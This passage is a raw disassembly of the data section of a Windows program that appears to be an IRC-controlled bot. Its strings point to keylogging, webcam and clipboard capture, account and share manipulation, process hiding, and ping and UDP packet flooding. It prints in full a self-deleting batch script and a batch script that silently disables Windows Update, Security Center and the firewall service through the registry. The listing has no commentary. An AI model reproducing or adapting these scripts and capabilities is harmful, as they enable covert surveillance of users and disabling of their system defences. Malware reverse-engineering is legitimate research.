aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_40891C+C50o
align 10h
aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_40891C+C48o
aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_40891C:loc_409557o
align 4
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_40891C+BE6o
align 4
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_40891C+BD9o
align 4
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_40891C+BCCo
align 4
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_40891C+BBFo
align 4
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_40891C+BB2o
align 4
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_40891C+BAAo
align 4
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_40891C:loc_4094B9o
align 4
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_40891C+B68o
align 4
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_40891C+B60o
align 4
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_40891C:loc_40946Fo
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_40891C+B0Eo
align 4
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_40891C+B01o
align 4
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_40891C+AF4o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_40891C+AECo
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_40891C:loc_4093FBo
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_40891C+AAAo
align 4
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_40891C+AA2o
align 4
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_40891C:loc_4093B1o
align 4
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_40891C+A60o
align 4
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_40891C+A58o
align 10h
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_40891C:loc_409367o
align 4
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_40891C+9CEo
align 4
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_40891C+9C1o
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_40891C+9B4o
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_40891C+9A7o
align 4
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_40891C+99Ao
align 4
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_40891C+98Do
align 4
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_40891C+980o
align 4
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_40891C+973o
align 10h
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_40891C+966o
align 10h
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_40891C+959o
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_40891C+951o
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_40891C:loc_40925Co
align 4
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_40891C+903o
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_40891C+8F6o
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_40891C+8EEo
align 4
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_40891C:loc_4091FDo
align 4
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_40891C+8B4o
align 10h
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_40891C+842o
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_40891C+835o
align 4
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_40891C+828o
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_40891C+81Bo
align 10h
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_40891C+80Eo
align 10h
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_40891C+801o
align 4
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_40891C+7F4o
align 4
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_40891C+7E7o
align 4
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_40891C+7DAo
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_40891C+7D2o
align 4
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_40891C:loc_4090DDo
aClosesocket db 'closesocket',0 ; DATA XREF: sub_40891C+688o
aGetpeername db 'getpeername',0 ; DATA XREF: sub_40891C+67Bo
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_40891C+66Eo
align 4
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_40891C+661o
align 4
aGethostname db 'gethostname',0 ; DATA XREF: sub_40891C+654o
aGetsockname db 'getsockname',0 ; DATA XREF: sub_40891C+647o
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_40891C+63Ao
align 4
aAccept db 'accept',0 ; DATA XREF: sub_40891C+62Do
; .text:0042C5DCo
align 4
aListen db 'listen',0 ; DATA XREF: sub_40891C+620o
align 4
aSelect db 'select',0 ; DATA XREF: sub_40891C+613o
align 4
aBind db 'bind',0 ; DATA XREF: sub_40891C+60Bo
align 4
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_40891C+5F9o
align 4
aRecv db 'recv',0 ; DATA XREF: sub_40891C+5ECo
align 10h
aSendto db 'sendto',0 ; DATA XREF: sub_40891C+5DFo
align 4
aSend db 'send',0 ; DATA XREF: sub_40891C+5D2o
; sub_40CD3A+2035o
align 10h
aNtohl db 'ntohl',0 ; DATA XREF: sub_40891C+5C5o
align 4
aNtohs db 'ntohs',0 ; DATA XREF: sub_40891C+5B8o
align 10h
aHtonl db 'htonl',0 ; DATA XREF: sub_40891C+5ABo
align 4
aHtons db 'htons',0 ; DATA XREF: sub_40891C+59Eo
align 10h
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_40891C+591o
align 4
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_40891C+584o
align 4
aConnect db 'connect',0 ; DATA XREF: sub_40891C+577o
; .text:0042CA90o
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_40891C+56Ao
aSocket db 'socket',0 ; DATA XREF: sub_40891C+55Do
align 4
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_40891C+550o
align 10h
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_40891C+543o
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_40891C+536o
align 4
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_40891C+529o
align 4
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_40891C+51Co
align 4
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_40891C+50Fo
align 4
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_40891C+507o
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_40891C+4F6o
align 10h
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_40891C+483o
align 10h
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_40891C+476o
align 4
aBitblt db 'BitBlt',0 ; DATA XREF: sub_40891C+469o
align 4
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_40891C+45Co
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_40891C+44Fo
align 4
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_40891C+442o
align 4
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_40891C+435o
align 4
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_40891C+428o
align 10h
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_40891C+420o
align 4
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_40891C:loc_408D2Bo
align 4
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_40891C:loc_408D03o
align 4
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_40891C+38Fo
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_40891C+382o
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_40891C+375o
align 4
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_40891C+368o
align 4
aControlservice db 'ControlService',0 ; DATA XREF: sub_40891C+35Bo
align 4
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_40891C+34Eo
align 4
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_40891C+341o
align 4
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_40891C:loc_408C55o
align 4
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_40891C+309o
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_40891C+2FCo
align 4
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_40891C:loc_408C10o
align 10h
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_40891C+2ACo
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_40891C+29Fo
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_40891C+292o
align 10h
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_40891C+285o
align 10h
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_40891C+278o
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_40891C+270o
align 10h
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_40891C:loc_408B7Bo
align 10h
aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_40891C+21Ao
aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_40891C+20Do
align 4
aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_40891C+200o
aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_40891C:loc_408B14o
align 4
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_40891C+1A0o
align 4
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_40891C+193o
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_40891C+186o
align 4
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_40891C+179o
align 4
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_40891C+16Co
align 4
aIswindow db 'IsWindow',0 ; DATA XREF: sub_40891C+15Fo
align 4
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_40891C+152o
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_40891C+14Ao
align 10h
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_40891C:loc_408A51o
; sub_41EF8E+Do
align 4
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40891C:loc_408A24o
align 4
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_40891C+A0o
align 10h
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_40891C+93o
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_40891C+86o
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_40891C+79o
align 4
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_40891C+6Co
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40891C+5Fo
aModule32first db 'Module32First',0 ; DATA XREF: sub_40891C+52o
align 10h
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40891C+45o
align 10h
aProcess32first db 'Process32First',0 ; DATA XREF: sub_40891C+38o
align 10h
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40891C+2Bo
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_40891C+23o
align 4
aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_40891C+Ao
align 4
dword_429A8C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_4095A9+2F2o
dd 2029206Ch, 2BBBB02h
aDllTestComplet db ' DLL test complete.',0
align 10h
aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+2CCo
align 4
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+298o
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+264o
align 10h
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+230o
align 4
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+1FCo
align 4
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+1C8o
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+194o
align 4
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+160o
align 10h
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+12Co
align 4
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+F8o
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+C4o
align 4
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+90o
align 4
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+5Co
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_4095A9+28o
align 4
aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_409B27+72o
align 10h
aMirc db 'mIRC',0 ; DATA XREF: sub_409BEC+5o
; sub_4141DB+18o
align 4
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_409C6E+1Co
align 4
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_409D12+2o
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_409D34+140o
align 8
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_409D34+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_409D34+48o
align 4
aCA_bat db 'c:\a.bat',0 ; DATA XREF: sub_409EBC+29o
align 8
a@echoOffEchoRe db '@echo off',0Dh,0Ah ; DATA XREF: sub_409EBC+14o
db 'Echo REGEDIT4>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT'
db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TransportBindName"="">>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Share'
db 'dAccess]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuaus'
db 'erv]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>'
db '%temp%\1.reg',0Dh,0Ah
db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableDCOM"="N">>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableRemoteConnect"="N">>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>>'
db '%temp%\1.reg',0Dh,0Ah
db 'Echo "restrictanonymous"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Securi'
db 'tyProviders\SCHANNEL\Protocols\PCT1.0\Server]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Enabled"=hex:00>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanma'
db 'nserver\parameters]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "AutoShareWks"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "AutoShareServer"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip'
db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "NameServer"="">>%temp%\1.reg',0Dh,0Ah
db 'Echo "ForwardBroadcasts"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "IPEnableRouter"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Domain"="">>%temp%\1.reg',0Dh,0Ah
db 'Echo "SearchList"="">>%temp%\1.reg',0Dh,0Ah
db 'Echo "UseDomainNameDevolution"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableICMPRedirect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DeadGWDetectDefault"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DontAddDefaultGatewayDefault"=dword:00000000>>%temp%\1.reg',0Dh
db 0Ah
db 'Echo "EnableSecurityFilters"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "AllowUnqualifiedQuery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "PrioritizeRecordData"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TCP1320Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
db 'Echo "KeepAliveTime"=dword:00023280>>%temp%\1.reg',0Dh,0Ah
db 'Echo "BcastQueryTimeout"=dword:000002ee>>%temp%\1.reg',0Dh,0Ah
db 'Echo "BcastNameQueryCount"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
db 'Echo "LargeBufferSize"=dword:00001000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
db 'Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "FastSendDatagramThreshold "=dword:00000400>>%temp%\1.reg',0Dh,0Ah
db 'Echo "StandardAddressLength "=dword:00000018>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DefaultReceiveWindow "=dword:00004000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg',0Dh,0Ah
db 'Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
db 'Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
db 'Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg',0Dh,0Ah
db 'Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg',0Dh,0Ah
db 'Echo "LargeBufferListDepth"=dword:0000000a>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg',0Dh,0Ah
db 'Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
db 'Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DNSQueryTimeouts" =hex(7):31,00,00,00,32,00,00,00,32,00,00,'
db '00,34,00,00,00,38,00,00,00,30,00,00,00,00,00>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DefaultRegistrationTTL"=dword:00000014>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\'
db '1.reg',0Dh,0Ah
db 'Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\'
db '1.reg',0Dh,0Ah
db 'Echo "UpdateSecurityLevel "=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DisjointNameSpace"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "QueryIpMatching"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg',0Dh,0Ah
db 'Echo "SackOpts"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Tcp1323Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
db 'Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
db 'Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio'
db 'n\Internet Settings]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxConnectionsPer1_0Server"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'START /WAIT REGEDIT /S %temp%\1.reg',0Dh,0Ah
db 'DEL %temp%\1.reg',0Dh,0Ah
db 'DEL %0',0Dh,0Ah,0
align 10h
unk_42B3F0 db 2 ; DATA XREF: sub_409FB2:loc_40A083o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aNotSupportedBy db ' Not supported by this system.',0
align 8
unk_42B438 db 2 ; DATA XREF: sub_409FB2:loc_40A051o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUnableToAlloca db ' Unable to allocation ARP cache.',0
align 4
unk_42B47C db 2 ; DATA XREF: sub_409FB2:loc_40A007o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aArpCacheIsEmpt db ' ARP cache is empty.',0
align 8
unk_42B4B8 db 2 ; DATA XREF: sub_409FB2+45o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorGettingAr db ' Error getting ARP cache: <%d>.',0
align 4
unk_42B4FC db 2 ; DATA XREF: sub_40A133+13Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 69h, 6Eh, 67h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFinishedSendin db ' Finished sending pings to %s.',0
align 4
unk_42B53C db 2 ; DATA XREF: sub_40A133+6Eo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 69h, 6Eh, 67h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorSendingPi db ' Error sending pings to %s.',0
align 4
dword_42B578 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
; DATA XREF: sub_40A2BF+1C7o
dd 2029206Ch, 2BBBB02h
aFinishedSend_0 db ' Finished sending packets to %s.',0
align 4
dword_42B5B8 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
; DATA XREF: sub_40A2BF+8Eo
dd 2029206Ch, 2BBBB02h
aErrorSending_1 db ' Error sending pings to %s.',0
align 4
aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40A53E+33o
align 8
dword_42B608 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40A5C5:loc_40A6F7o
dd 2029206Ch, 2BBBB02h
aCouldNotReadDa db ' Could not read data from proccess.',0Dh,0Ah,0
align 4
dword_42B64C dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40A5C5+10Fo
dd 2029206Ch, 2BBBB02h
aProccessHasTer db ' Proccess has terminated.',0Dh,0Ah,0
align 4
dword_42B688 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: sub_40A5C5:loc_40A6ABo
dd 2029206Ch, 2BBBB02h
aCouldNotRead_0 db ' Could not read data from proccess',0Dh,0Ah,0
align 10h
